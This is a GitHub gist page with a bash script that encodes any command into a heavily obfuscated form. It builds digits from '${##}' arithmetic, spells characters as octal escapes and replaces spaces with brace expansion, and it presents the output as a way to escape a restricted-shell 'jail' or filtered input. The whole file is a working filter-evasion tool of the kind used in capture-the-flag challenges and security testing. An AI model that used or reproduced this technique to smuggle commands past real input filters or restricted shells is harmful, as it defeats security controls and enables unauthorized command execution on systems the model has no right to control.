Created
January 7, 2025 17:52
-
-
Save AnisBoss/c8b75d1adbed76d3c011891baa169f38 to your computer and use it in GitHub Desktop.
Revisions
-
AnisBoss created this gist
Jan 7, 2025 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,80 @@ #Author Anis_Boss #!/bin/bash zero='${#}' one='${##}' two='$((${##}<<${##}))' three='$(($((${##}<<${##}))#${##}${##}))' four='$((((${##}<<${##}))<<${##}))' five='$(($(($((${##}<<${##}))<<${##}))#${##}${##}))' six='$(($(($((${##}<<${##}))#${##}${##}))<<${##}))' seven='$(($(($(($((${##}<<${##}))#${##}${##}))<<${##}))#${##}${##}))' eight='$(($(($(($(($((${##}<<${##}))#${##}${##}))<<${##}))#${##}${##}))#${##}${##}))' nine='$(($(($(($(($(($((${##}<<${##}))#${##}${##}))<<${##}))#${##}${##}))#${##}${##}))#${##}${##}))' #convert char to octal function char_to_oct(){ echo $(showkey -a <<<$(echo $1) 2>/dev/null|grep 0x|head -1|awk '{ print $2}'|tail -c +2|head -c -1) } #change number to its correspondance function iterate_numbers(){ case $1 in 0) echo $zero ;; 1) echo $one ;; 2) echo $two ;; 3) echo $three ;; 4) echo $four ;; 5) echo $five ;; 6) echo $six ;; 7) echo $seven ;; 8) echo $eight ;; 9) echo $nine ;; esac } #construct the obfuscated command that solves the jail/restricted env obfuscated_cmd="" read -p "Enter command to run in jail " cmd for (( i=0; i<${#cmd}; i++ )); do if [ "${cmd:$i:1}" == " " ] then obfuscated_cmd+=',' space_found=true continue fi octal_value=$(char_to_oct "${cmd:$i:1}") obfuscated_cmd+="\$'\\\\" for (( j=0; j<${#octal_value}; j++ )); do obfuscated_cmd+=$(iterate_numbers "${octal_value:$j:1}") done obfuscated_cmd+="'" done if [ "${space_found}" = true ] then obfuscated_cmd="bash -c \"{"${obfuscated_cmd}"}\"" else obfuscated_cmd="bash -c \""${obfuscated_cmd}"\"" fi echo "Copy this command into the jail/filtered area : " echo "$obfuscated_cmd"